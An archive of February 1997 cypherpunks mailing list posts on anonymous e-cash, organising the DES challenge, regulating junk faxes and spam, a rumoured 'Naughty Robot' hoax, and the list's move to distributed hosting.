Anyway, if the boards Peter is referring to are ready in the next couple 
of months, I volunteer to write drivers for Linux and *BSD*.

/ji





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Sat, 15 Feb 1997 17:11:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymity and e-cash
Message-ID: <199702160111.RAA14436@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 12 Feb 1997, Hal Finney wrote:

> A simple idea we have discussed for full anonymity uses the idea of
> exchanging coins at the bank.  You make an anonymous connection to
> the bank, supply some ecash you have received along with some blinded
> new ecash.  The bank verifies that the ecash is good and signs your
> blinded ecash, sending it back to you.  You unblind it and have good,
> fresh smelling ecash which you can keep, spend, or later deposit in
> your account.

Isn't this the way that 'Magic Money' works? You don't have to open an
account at the bank, you simply exchange the cash you receive for new cash
which you can then spend.

	Mark

|-----------------------------------------------------------------------|
|Mark Grant M.A., U.L.C.	  	       EMAIL: mark@unicorn.com  |
|WWW: http://www.unicorn.com/	  	       MAILBOT: bot@unicorn.com	|
|-----------------------------------------------------------------------|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 15 Feb 1997 17:11:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: (fwd) DES challenge organisation
Message-ID: <199702160111.RAA14514@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



An announcement forwarded to me (due to being on des-challenge mailing
list I think) of proposed organisation for breaking RSADSI's DES
challenge.

Those interested in participating might wish to join the lists
mentioned.

In addition the list: des-challenge@muffin.org is for discussion of
the DES challenge, and can be subscribed to by sending email to
majordomo@muffin.org.

-Adam

======================================================================
Subject: Announcement: Organisation Committee
From: ths@rz.tu-ilmenau.de (Thomas S.)
Date: 15 Feb 1997 18:27:40 +0000

Hi!

The six volunteers who answered the call for a committee of
management have got together to try to help 'steer' the DES challenge.
We have considered the available options of proceeding, and we kindly
ask everyone interested in this project to follow our proposals, to
avoid waste of efforts.

1. The attempt to break the key will be coordinated. We chose this
   mainly because we can make a political statement. We don't want it
   to be a race for money.
   
   Each task will be handled by logically separate servers, some of
   which with be replicated and run as a hierachy. The protocol will
   use UDP, although there will be gateway servers for other protocols
   (such as HTTP, SMTP, FAX, etc). We hope that one of the first
   requests for a key range will be from parties interested in using a
   "random" approach -- we would appreciate some discussion on how
   large their ranges should be.

2. There will be one consistent WWW structure for the project. It does
   not have to managed by a single person. This structure should
   provide statistics, information for developers, interested users
   and perhaps even for the press. Several mirrors and translations
   will be started soon. The starting point is:
	http://www.des.crypto.org/ [fh28.fa.umist.ac.uk/des/]
   The url in brackets has to be used till we get the final subdomain.
   Likewise for the rest of this document.

3. The work of the different groups should be stated and coordinated
   on the page http://www.des.crypto.org/people.html.
   [fh28.fa.umist.ac.uk/des/people.html] This is to avoid uncoordinated
   parallel developmemt. Please write to Thomas S. 
   <webmaster@mail.des.crypto.org> [webmaster@fh28.fa.umist.ac.uk] 
   if you what want to be mentioned on this page. 

3a. Several mailing lists have been set up for the different groups: 

des-coding	for the actual DES routine and optimisation
des-networking	for the network code and protocol
des-www		for www contributions and mirrors
des-pr		for press contact, translations etc (like challenge-pr)
des-misc	:-)
des-announce	moderated, important information for users of the client

List address: <list>@lists.des.crypto.org [@xtn.net] 
To subscribe, send mail to majordomo@lists.des.crypto.org [@xtn.net] 
with in the body of the message (several actions allowed): 
   subscribe <list> 
Achives available (see homepage).

4. The actual DES routine has to be written and optimised. We ask
   developers to participate and coordinate their efforts using the
   mailing list des-coding. For obvious reasons, developers outside
   the USA are prefered, but "publication" of algorithms seems to be
   a legal way go get around. Please do not use this list to 
   distribute crypto code.

5. The prize money will be split equally between Gutenberg and EFF.
   There is a possibility of using part of it for stickers or
   something similar, but don't count on it.

We hope to get a working system up and running ASAP. The fact alone
that DES is seriously challenged (with a reasonable time frame) should
give us quite some publicity (by the time the system is ready). If we
can make use of that, we will have significantly more client than for
the 48 bit key.

The organisation committee:

Piete Brooks <Piete.Brooks@cl.cam.ac.uk>
Jered Floyd <jered@mit.edu>
Tim Newsome <drz@froody.bloke.com>
Germano Caronni <caronni@tik.ee.ethz.ch>
Thomas Roessler <Thomas.Roessler@sobolev.rhein.de>
Thomas S. <ths@fh28.fa.umist.ac.uk>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 15 Feb 1997 17:13:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702160113.RAA14570@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Thomas S <ths@fh28.fa.umist.ac.uk> writes:
> [...]
>
> 5. The prize money will be split equally between Gutenberg and EFF.
>    There is a possibility of using part of it for stickers or
>    something similar, but don't count on it.

Not a good idea.

How can this be enforced?  The RSADSI DES challenge is open to all
comers, and how do you prove that someone who finds the key found it
through this group effort?

I have a suspicion many people would be tempted to fill in the RSA
challenge form and email it in themselves.  $10,000 is a fair amount
of money.

I know I would be tempted.  I have been running Svend Olaf's DES code,
and my intention in the unlikely event that I hit the key had been to
claim the money.

How does it hurt the publicity if the actual individual who finds the
key takes the money?  Surely it adds excitement to the story?

In fact it would provide people with a possibly more powerful
incentive to try to break the key in the first place -- in the hopes
of winning the prize!  $10,000 means more to a lot of people than
opposing ITAR/EAR, and participating in a technical challenge.  To
start with a lot of people who's CPUs we could be using don't even
know what ITAR/EAR are!

> We hope to get a working system up and running ASAP. The fact alone
> that DES is seriously challenged (with a reasonable time frame)
> should give us quite some publicity (by the time the system is
> ready). If we can make use of that, we will have significantly more
> client than for the 48 bit key.

I would have thought announcing that $10,000 can be won by running
easy to use windows software on a wide selection of newsgroups would
get you lots of CPUs!

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 15 Feb 1997 22:56:07 -0800 (PST)
To: Mike Duvos <mpd@netcom.com>
Subject: Re: Where is the reorg FAQ?
Message-ID: <199702160656.WAA27544@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike Duvos wrote:
> 
> Anil Das writes:
> 
> > Btw, one of our many news servers has alt.cypherpunks, but it has very
> > low traffic. I doubt people are not posting. Must be alt.cypherpunks
> > missing from some upstream sites.
> 
> To spam propagation islands, it might be a good idea to crosspost to
> alt.privacy when posting to alt.cypherpunks.  It will probably take a week
> or two before everyone who is going to create the group on their news
> server gets around to it. 
> 

Better yet, crosspost to misc.misc.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 16 Feb 1997 07:11:04 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: More on digital postage
Message-ID: <199702161511.HAA17755@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:09 AM -0500 2/16/97, Cynthia H. Brown wrote:

>Here in Canada, the CRTC (Canadian Radio & Telecomms Commission) put
>out rules limiting the time of day, etc. for phone spam (voice or
>fax).  Does anyone out there have the specifics of the CRTC regs?

"Spam" has rapidly become one of those overused, overloaded, meaningless
words. Everything bad on the Net these days is labelled "spam."

For the phone example in Canada, just what is "spam"?

-- Is it the semi-traditional definition of "spam," i.e., a phone call made
to thousands of sites? (At the same time? Sequentially? How?)

-- Is it a robo-dialer, with no human at the other end?

-- Or is it merely an "unwanted phone call"?


As I see it, the danger of criminalizing "unwanted phone calls" is obvious.
(Though obviously the courts and prisons are not about to be filled up with
people who committed the heinous crime of making an unrequested phone call.)

The danger of all "junk mail" and "junk phone call" laws is that they give
power to the government to decide on what is junk and what is not.

Not something we should support.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Sat, 15 Feb 1997 22:56:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More on digital postage
Message-ID: <199702160656.WAA27618@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Peter J. Capelli writes:

 >  I pay for my phone service;

I assume you pay a flat rate and not by the incoming fax!

 >  I pay for my fax, toner, and
 > paper.  If they use my property without getting permission first, 

So, if a person uses a computer fax-modem and, therefore, paper,
toner, etc. aren't used, does this change the situation?  

Suddenly we're very close to the situation of junk-email.  (Except
that the sender of the junk fax incurs long-distance charges, if there
are any, not to mention he pays for the phone service the same as you 
do)

 > I believe
 > that *is* ( or should be ) illegal.  

"There should be a law!"  5 of the ugliest words in the English
language when put together.

Look.  I understand your sentiment and junk faxes piss me off as well,
but the cost of government regulation is too high in my opinion.  As
I'm sure you're aware, government does a *great* job of creating
sensible and useful regulations.

Unfortunately, fax machines can't distinguish the text of messages, so
you can't do filtering or bounce messages, etc.  (Although I have been
known to send a nasty reply fax or two.  And I never fail to call the
send of the fax to complain and have the junk faxes terminated)


 > Your argument that my plugging a fax 
 > machine itno a phone line I know it will answer, even if it is unauthorized,
 > is tantamount to saying that if I leave my keys in my car, anyone can take
 > it, and legally so!  While it may be foolish to do that, being
 > foolish is not
 > a crime 

You purchased the fax equipment.  Why should the government regulate
its usage for you?  

Ideally, the manufacture of fax machines which are able to
authenticate a sender in some manner before permitting the actually
permitting transmission of the fax out to paper would likely eliminate
junk faxes.

Of course, this would involve strong encryption.  And -- wouldn't you
know it! -- that's covered by a range of confusing and threatening
federal regulations



-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1979
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Sat, 15 Feb 1997 22:58:04 -0800 (PST)
To: dthorn@gte.net
Subject: Re: More on digital postage
Message-ID: <199702160658.WAA27705@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997 Dale Thorn wrote:

> jim bell wrote:
>
> > But having an address, and a walkway, and a doorbell is generally considered
> > if not explicit permission, but at least toleration of the idea that
> > somebody can walk up and knock on the door, etc.  Having a telephone with a
> > number that anyone can dial is going to result in some level of intrusion.
> > Having a fax machine is a similar issue, unless technology provides a way to
> > block unwanted faxes.
> 
> There are some neato methods to deal with the door and the phone,
> but I haven't investigated faxes since I don't run one at home.

Boring but it works: There are plenty of fax-to-PC programs out
there.  Anyone can save *lots* of trees by viewing faxes on the
screen before printing the useful page(s).  Yes, I know, this means
human intervention, but so does crumpling up the ***BUY NOW***
garbage, tossing it at the recycle bin, missing, cursing, etc.

Here in Canada, the CRTC (Canadian Radio & Telecomms Commission) put
out rules limiting the time of day, etc. for phone spam (voice or
fax).  Does anyone out there have the specifics of the CRTC regs? 

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sun, 16 Feb 1997 07:11:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More on digital postage
Message-ID: <199702161511.HAA17772@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May writes:

 > "Spam" has rapidly become one of those overused, overloaded, 
 > meaningless words. Everything bad on the Net these days is labelled
 > "spam."

The term "spam" has its origins in the well-known Monty Python
Viking sketch, where a diner has breakfast menu offerings such as

          Spam, spam, spam, spam, eggs, and spam. 

This sequence of one repeated thing, with an occasional something 
else, reminds us of how our news spool looks after spam has happened. 

> For the phone example in Canada, just what is "spam"?

> -- Is it the semi-traditional definition of "spam," i.e., a phone call made
> to thousands of sites? (At the same time? Sequentially? How?)

> -- Is it a robo-dialer, with no human at the other end?

Calling one person a thousand times is certainly spam.  Calling
a thousand different people is probably "Excessive Multiple Calling",
or some such acronym. 

> -- Or is it merely an "unwanted phone call"?

This is definitely not spam. 

> As I see it, the danger of criminalizing "unwanted phone calls" is obvious.
> (Though obviously the courts and prisons are not about to be filled up with
> people who committed the heinous crime of making an unrequested phone call.)

If someone is calling me every day, and I ask them nicely to stop, 
continued calling should be illegal harrassment.  If I've never heard
from them before, then a couple unwanted calls aren't a big deal. 

The same principle should apply if someone decides they have a
Constitutional right to bang on my front door at 6 am each and every
morning.

> The danger of all "junk mail" and "junk phone call" laws is that they give
> power to the government to decide on what is junk and what is not.

> Not something we should support.

I wouldn't mind laws against "repeated unwanted communication."  That
way I decide what is and is not junk, and the perpetrator is on notice
that further waste of my time, fax paper, phone line, or mailbox
space will not be viewed benevolently. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carol Anne Cypherpunk <carolann@censored.org>
Date: Sun, 16 Feb 1997 07:27:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: alt.cypherpunks.* groups make primenet.com
Message-ID: <199702161527.HAA18421@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Primenet.com has picked up the alt.cypherpunk feed.
And, there was spam (yum, yum) on it already.

Carol Anne Cypherpunk
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Uncensored from heavily.censored.org

iQCVAwUBMwbyForpjEWs1wBlAQEOYQP/bU7uRm5YIMgSkH9QoRLm1UzUCcJ8kxoY
okFp6cshYvn5zZf4Kp8z9eWh67ox8yN/Lsp8DzFRkS9xrmobX/5givMut304rN5+
p213AzjaEOhfaat5w4AWUPU1xAIkTnI0jqN4vslKQ0Y77fyrzRgwtCCvsw2VzCfv
hPSSApmGuys=
=mlts
-----END PGP SIGNATURE-----

Member Internet Society  - Certified BETSI Programmer  -  Webmistress
***********************************************************************
Carol Anne Braddock (cab8)  carolann@censored.org   206.42.112.96
My Homepage
The Cyberdoc
***********************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sun, 16 Feb 1997 07:26:05 -0800 (PST)
To: Peter Gutmann <pgut001@cs.auckland.ac.nz>
Subject: Re: Crypto code published in magazines
Message-ID: <199702161526.HAA18365@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Peter Gutmann writes:

: I'm trying to find instances of crypto code published in computer magazines i
: n 
: the last few years.  I know of Blowfish in DDJ, are there cases of more 
: mainstream computer mags like Byte publishing crypto code (I know Byte did DE
: S 
: in 1977, I'm hoping for something a bit more recent)?.  Please mail or cc 
: replies directly to me, nntp.hks.net seems to have died :-(.
:  
: Peter.

If there are any responses I would be very interested in seeing them
too.

Thanks,
Peter
--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Briceno <marc@digicash.com>
Date: Sun, 16 Feb 1997 14:41:08 -0800 (PST)
To: cryptography@c2.net
Subject: Printed Ecash decoder now available
Message-ID: <199702162241.OAA04877@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Ian Goldberg <iang@cs.berkeley.edu> won the second part of the "turn Ecash
into 2-D bar code and back into an Ecash payment" contest. Building on
Jeremey Barrett's Ecash -> PDF417 encoder, Ian wrote an Ecash PDF417
encoder and decoder.

http://www.isaac.cs.berkeley.edu/tools/pdf417-1.0.tar.gz

It is now possible to print Ecash on a laser printer and scan it back in on
a standard flat bed scanner. Possible applications include sending Ecash by
fax or mail.

Ian notes the following:
"Also: these are general PDF417 tools; they can be used to encode any
binary data, not just ecash (the decoder will _not_ be able to decode
arbitrary barcodes; it doesn't know about "numeric compaction" mode
and other things in the spec that the encoder doesn't actually use)."

Congratulations to Ian for this accomplishment!



-- Marc Briceno <mailto:marc@digicash.com>
   Ecash(tm) Electronic Cash Evangelist/Developers Support
   <http://www.digicash.com/>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@ALPH.SWOSU.EDU>
Date: Sun, 16 Feb 1997 14:43:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702162243.OAA05066@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:45 PM 2/15/97 -0600, Igor Chudov wrote:
>Roy M. Silvernail wrote:
...
>> Or that the money wasn't there in the first place (absent a trusted
>> signature system), or the key doesn't exist, or the wrong key is
>> offered, or the sender put the same e-dollar on all 60000 mails sie
>> sent and it's already been redeemed.
>
>Well, if the trusted party performs the encryption by both recipient's
>public key and the "retrieval key", the problem that you mention can 
>be avoided.
Yeah.  I as a spam artist send the "proof" message through the e-cash
verification center with the Send To: field returning it to a mail exploder.
Each receipient gets the same dollar.
This assumes that the To: field is not hashed into the verification
signature, and that the verification works like a glorified remailer.  (cash
added on a separate channel).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul J. Bell" <pjb@23kgroup.com>
Date: Sun, 16 Feb 1997 09:56:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: DFA
Message-ID: <199702161756.JAA24257@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


does anyone know what has happened to DFA, and the people who
just a few months ago were publishing such encouraging results?

have they gone underground, or perhaps been put underground, 
in a rather permanent way?

isn't it strange how quite it has been on this subject?

cheers,
	-paul





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Genocide <gen2600@aracnet.com>
Date: Sun, 16 Feb 1997 14:41:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Questions about Naughty Robot (fwd)
Message-ID: <199702162241.OAA04951@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



	I got this message (on a system that I am webmaster on) regarding
something that sounded so stupid it made me chuckle...Naughty Robot...I
have enclosed the message below.  If any of you have any idea what this
user is talking about, any info would be appreciated.

	Personally it sounds like another "GoodTimes Virus" again...

Genocide
Head of the Genocide2600 Group


============================================================================
		   **Coming soon! www.Genocide2600.com!
         ____________________
  *---===|                  |===---*
  *---===|     Genocide     |===---*  "Courage is not defined by those who 
  *---===|       2600       |===---*   fought and did not fall, but by those
  *---===|__________________|===---*   who fought, fell, and and rose again."
                                       
Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	It is by caffeine alone that I set my mind in motion.
	It is by the Mountain Dew that the thoughts acquire speed,
	the lips acquire stains, the stains become a warning.
	It is by caffeine alone that I set my mind in motion.
================================================================================

Date: Sun, 16 Feb 1997 10:30:37 -0800 (PST)
Subject: Re: Questions about Naughty Robot
Resent-Date: Sun, 16 Feb 1997 12:10:54 -0800 (PST)


>> Don't wanna bug ya too much, but I was wondering if you have ever heard
>> of Naughty Robot, and whether or not if it is a hoax or Real?
>> 
>> I had a customer in Tennesee who got an E-Mail saying that Naughty Robot
>> has infected your host computer and consider all your credit cards
>> stolen.
>> 
>> I think it's a hoax, but the Admins at VR-NET Cafe say that they have
>> been hit with it and say that it's a script that does hack into the
>> IPS's server and sits back and watches the users browse the web and take
>> the info they see on there screen and dump to some remote server??
>> 
>> I was wondering if you have heard about it...and if so can you direct to
>> the right locations on the web to get the "Official" Scoop on it?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 16 Feb 1997 14:41:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: test ping - cypherpunks@toad.com 12:32pm PST - ignore
Message-ID: <199702162241.OAA04937@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi!  This is a test ping to verify whether mail to 
cypherpunks@toad.com gets forwarded successfully to 
one of the other cypherpunks lists, and how fast.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hjk <hjk@ddorf.rhein-ruhr.de>
Date: Sun, 16 Feb 1997 07:25:57 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: MagicMoney
Message-ID: <199702161525.HAA18339@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



I finally got a copy of MagicMoney (from ftp://utopia.hacktic.nl).
It is just the code (compiling without error), but there is no README or
documentation at all.Can someone give me a hint,what to do with this
package? Is there a documentation somesite?
BTW utopia is the site,you can get all the export restricted stuff outside
the US.

Heinz-Juergen Keller
email: hjk@ddorf.rhein-ruhr.de







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 16 Feb 1997 14:56:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Bad Headers Added to John Young postings via owner-cypherpunks@sirius.infonex.com
Message-ID: <199702162256.OAA05745@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi!  The following headers are from a posting by John Young
that looks like it was sent to cypherpunks@toad.com,
forwarded to cypherpunks@sirius.infonex.com and/or
cypherpunks@cyberpass.net, and has the Reply-To: header
set to reply to cypherpunks@toad.com instead of to John Young....
It looks like the obvious implementation of cypherpunks-style mail header
patching, but isn't quite right.....  Leads to people sending
their John Young mailbot requests to cypherpunks@toad.com instead,
as some well-known cypherpunks have mistakenly done recently :-)

=====================================================
Return-Path: <owner-cypherpunks@sirius.infonex.com>
X-Sender: jya@pop.pipeline.com
Date: Sat, 15 Feb 1997 09:04:14 -0500
To: cypherpunks@toad.com
From: John Young <jya@pipeline.com>
Subject: FBI_100
Sender: owner-cypherpunks@sirius.infonex.com
Reply-To: cypherpunks@toad.com
X-List: cypherpunks@cyberpass.net

2-15-97. NYP:

"Phone Companies Balk At Latest Plan by FBI." Markoff.
==============================================



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sun, 16 Feb 1997 14:56:01 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702162256.OAA05725@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin writes:
> Dave is offering a single mailing list, which, while I am sure Dave is
> a great person, still represents a single point of control and a
> single point of failure.  A distributed mailing list has a potential
> for being much more robust, and for supporting a wide range of
> viewpoints.  

I can also offer my participation in the distributed mailing list, if
that is what it takes to get cypherpunks free of control interests again.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

                      A poor man shames us all.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 16 Feb 1997 14:43:17 -0800 (PST)
To: Cypherpunks <cypherpunks@algebra.com
Subject: Thanks to John Gilmore for running cypherpunks mailing list
Message-ID: <199702162243.OAA05112@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

cypherpunks@toad.com goes down in four days.

I would like to thank John Gilmore for all his efforts that he spent to
run the list. Administering a huge mailing list like cypherpunks is a
tough job, requiring a lot of dedication, time and patience.

John, along with other cypherpunks, created a unique online community
that generated many valuable ideas. This community helped a great deal
to increase crypto awareness of the masses. I personally joined
cypherpunks for very arkane reasons, but later found out a lot of useful
information.

The moderation experiment failed by many reasons, but the last month
should not distract us from what John did over last several years.

Again, thanks to John for his work.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 16 Feb 1997 14:41:45 -0800 (PST)
To: Cypherpunks <cypherpunks-hosts@algebra.com
Subject: Proposed info file
Message-ID: <199702162241.OAA04968@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

The text below is what I wrote for cypherpunks@algebra.com to be
sent to new subscribers. Feel free to criticize.

	- Igor.

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

About cypherpunks mailing lists
-------------------------------

* * * ATTENTION: PLEASE SAVE THIS MESSAGE IN A MAIL FOLDER!!! IT WILL BE 
* * * HELPFUL FOR YOU WHEN YOU WANT TO UNSUBSCRIBE FROM cypherpunks MAILING
* * * LIST.
* * * 
* * * DO NOT JUST DELETE THIS MESSAGE.

I. Administrivia (please read, boring though it may be)

The cypherpunks list cypherpunks@algebra.com is one of the cypherpunks
mailing lists discussing cryptography, privacy, and social issues
relating to them.  These lists are connected to each other in such a way
that all messages appear on all of these lists.

All of these lists are high-volume mailing lists. There are several
reasons for existence of multiple mailing lists that are
inter-subscribed. The main reason is the large number of subscribers and
limited bandwidth of each of the participating list nodes -- each node
can take on only that many users.

Most people will not want to subscribe to more than one of these lists.

If you don't know how to do something, like unsubscribe, send mail to

	majordomo@algebra.com

and the software robot which answers that address will send you back
instructions on how to do what you want.  If you don't know the
majordomo syntax, an empty message to this address will get you a help
file, as will a command 'help' in the body.  Even with all this
automated help, you may still encounter problems.  If you get really
stuck, please feel free to contact me directly at the address I use
for mailing list management:

	cypherpunks-request@algebra.com

Please use this address for all mailing list management issues.  Hint:
if you try to unsubscribe yourself from a different account than you
signed up for, it likely won't work.  Log back into your old account
and try again.  If you no longer have access to that account, mail me
at the list management address above.  Also, please realize that 
there will be some cypherpunks messages "in transit" to you at the
time you unsubscribe.  If you get a response that says you are unsubscribed,
but the messages keep coming, wait a day and they should stop.

Do not mail to the whole list asking to be removed. It's rude ans stupid.

To post to the whole list, send mail to

	cypherpunks@algebra.com

If your mail bounces repeatedly, you will be removed from the list.
Nothing personal, but I have to look at all the bounce messages.

There is no digest version available.

There is a meta list which discusses the architecture and other issues of
the distributed cypherpunks lists. It is not intended to be used for
crypto discussions.

if you want to be added or removed to the metadiscussion list, send a message
"subscribe cypherpunks-hosts" to majordomo@algebra.com.


II. About cypherpunks

The cypherpunks list is not designed for beginners, although they are
welcome.  If you are totally new to crypto, please get and read the
crypto FAQ referenced below.  This document is a good introduction,
although not short.  Crypto is a subtle field and a good understanding
will not come without some study.  Please, as a courtesy to all, do
some reading to make sure that your question is not already frequently
asked.

There are other forums to use on the subject of cryptography.  The
Usenet group sci.crypt deals with technical cryptography; cypherpunks
deals with technical details but slants the discussion toward their
social implications.  The Usenet group talk.politics.crypto, as is
says, is for political theorizing, and cypherpunks gets its share of
that, but cypherpunks is all pro-crypto; the debates on this list are
about how to best get crypto out there.  The Usenet group
alt.security.pgp is a pgp-specific group, and questions about pgp as
such are likely better asked there than here.  Ditto for
alt.security.ripem.

alt.cypherpunks is indended as a mirror USENET forum for this 
mailing list.

III. Posting Policy.

Please note that some members of cypherpunks mailing list may surprise
you as very rude people. You may see views that sound very offensive to
you.  You will also see many articles that make no sense to you, are
very stupid, or appear to be commercial advertisements.

Consider such situation to be a price of YOUR freedom to post anything you
want. Remember that speech that pleases everyone needs no protection: it is
the offensive speech that is most often assaulted and thus needs to be 
protected. Also, speech that you find silly and distasteful may seem
to be of great use for others.

If you feel that some poster's articles are not useful and offensive to
you, you can set up your mail reading software to ignore all articles
coming from that person. Ignoring them silently has shown to be the best
way of dealing with them. It will save you a lot of your own time. Even
though you are free do write anything, please consider not following up
to their posts with suggestions to shut them up. It only decreases
usefulness of this mailing list.

Eudora for Windows is known for its mail filtering capability. Procmail
is a tool of choice for Unix users who want to filter their articles.
Please read the documentation for these programs to find out how to set
them to filter and delete unwanted messages.

None of the above precludes the administrator of this mailing list to
use tools protecting his hardware and bandwidth from denial of service
attacks. If someone maliciously mailbombs cypherpunks mailing list, the
mail bombs may be silently ignored and not passed on to the list.

IMPORTANT: the list owner does not monitor the content of the messages
appearing here. I disclaim any liability whatsoever for the content of
articles on cypherpunks@algebra.com. If you have a problem with any
materials posted here, please contact the poster to resolve them. Your
use of the resources of this list constitutes an agreement with these
terms. You have been warned.

IV. Resources.

A. The sci.crypt FAQ

anonymous ftp to rtfm.mit.edu:/pub/usenet-by-group/sci.crypt

The cryptography FAQ is good online intro to crypto.  Very much worth
reading.  Last I looked, it was in ten parts.

B. cypherpunks ftp site

